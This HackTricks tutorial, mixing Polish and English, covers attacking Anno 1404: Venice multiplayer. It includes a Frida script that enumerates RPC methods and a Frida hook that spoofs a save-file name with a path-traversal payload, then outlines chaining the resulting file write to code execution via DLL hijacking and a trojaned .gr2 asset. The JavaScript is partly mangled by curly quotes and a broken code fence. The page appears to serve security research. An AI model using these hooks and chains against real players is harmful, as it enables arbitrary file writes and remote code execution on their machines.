Custom UDP RPC Enumeration & File-Transfer Abuse
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Mapping proprietary RPC objects with Frida
Older multiplayer titles often embed home-grown RPC stacks on top of UDP. In Anno 1404: Venice this is implemented inside NetComEngine3.dll via the RMC_CallMessage dispatcher, which parses 5 fields from every datagram:
| Field | Purpose |
|---|---|
ID | operacja RPC (16-bitowa) |
Flags | modyfikatory transportu (reliability, ordering) |
Source | ID obiektu wywołującego |
TargetObject | instancja obiektu zdalnego |
Method | indeks metody w klasie docelowej |
Two helper functions – ClassToMethodName() and TargetName() – translate raw IDs into human-readable strings for logging. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks.
Frida surface enumerator (trimmed)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
Uruchomienie `frida -l explore-surface.js Addon.exe` wygenerowało pełną mapę RPC, w tym obiekt `Player` (`0x7400000`) i jego operacje transferu plików `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData` oraz `OnCancelSendFile`. Ta sama metoda ma zastosowanie do dowolnego protokołu binarnego, który ujawnia internal reflection helpers: przechwyć dispatcher, brute-force IDs i zaloguj, co silnik już wie o każdej wywoływalnej metodzie.
### Wskazówki
- Użyj własnych buforów logujących silnika (`WString::Format` w tym przypadku), aby uniknąć ponownego implementowania nieudokumentowanych kodowań łańcuchów znaków.
- Zrzucaj `Flags`, aby zidentyfikować cechy niezawodności (ACK, resend requests) przed podjęciem fuzzingu; niestandardowe stosy UDP często cicho odrzucają sfałszowane pakiety.
- Zachowaj wyenumerowaną mapę – służy jako korpus do fuzzingu i jasno pokazuje, które obiekty manipulują systemem plików, stanem świata lub skryptami w grze.
## Podszywanie się pod file-transfer RPCs
Synchronizacja zapisów w multiplayerze używała dwupakietowego handshake'u:
1. `OnSendFileInit` — przenosi nazwę pliku w UTF‑16, której klient powinien użyć podczas zapisywania przychodzącego payloadu.
2. `OnSendFileData` — strumieniuje surową zawartość pliku w blokach o stałym rozmiarze.
Ponieważ serwer serializuje nazwę pliku przez `ByteStreamWriteString()` tuż przed wysłaniem, Frida hook może podmienić wskaźnik na traversal payload, zachowując niezmienione rozmiary pakietów.
<details>
<summary>Podmieniacz nazwy pliku</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Klienci-ofiary nie wykonywali żadnej sanitizacji i zapisywali otrzymany save w dowolnej ścieżce wskazanej przez złośliwy host, np. zapisując do C:\User\user zamiast zamierzonego drzewa ...\Savegames\MPShare. Na instalacjach Windows gry Anno 1404 katalog gry jest zapisywalny dla wszystkich (world-writable), więc traversal natychmiast staje się prymitywem dowolnego zapisu pliku:
- Drop DLLs dla klasycznego search-order hijacking przy następnym uruchomieniu, lub
- Overwrite asset archives (RDA files), tak aby złośliwe modele, tekstury lub skrypty były ładowane na żywo w tej samej sesji.
Obrona / atak innych celów
- Szukaj metod RPC o nazwach
SendFile,Upload,ShareSaveitd., następnie przechwytuj helper serializacji odpowiedzialny za nazwy plików lub katalogi docelowe. - Nawet jeśli nazwy plików są sprawdzane pod kątem długości, wiele stosów zapomina o kanonizacji
..\lub mieszanego użycia separatorów/vs\; przetestuj wszystkie separatory metodą brute-force. - Gdy odbiorca zapisuje pliki w katalogu instalacyjnym gry, sprawdź ACLs za pomocą
icacls, aby potwierdzić, czy nieuprzywilejowany użytkownik może tam wrzucić kod.
Turning path traversal into live asset execution
Gdy możesz wysłać dowolne bajty, podmień dowolny często ładowany zasób:
- Unpack the archive. RDA archives są kontenerami opartymi na DEFLATE, których metadane są opcjonalnie XOR-obfuskowane strumieniami seedowanymi
srand(0xA2C2A). Narzędzia takie jak RDAExplorer ponownie pakują archiwa po edycjach. - Inject a malicious
.gr2. Zatrojony plik Granny 3D zawiera exploit relokacji, który nadpisujeSectionContentArrayi poprzez dwuetapową sekwencję relokacji uzyskuje dowolny zapis 4 bajtów wgranny2.dll. - Hijack allocator callbacks. Przy wyłączonym ASLR i DEP zamiana wskaźników funkcji
malloc/freewgranny2.dllprzekierowuje następną alokację na twój shellcode, dając natychmiastowe RCE bez konieczności czekania na restart gry przez ofiarę.
Ten wzorzec uogólnia się na każdą grę, która strumieniuje strukturalne zasoby z binarnych archiwów: połącz RPC-level traversal do dostarczenia oraz niebezpieczne przetwarzanie relokacji w celu wykonania kodu.
Źródła
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


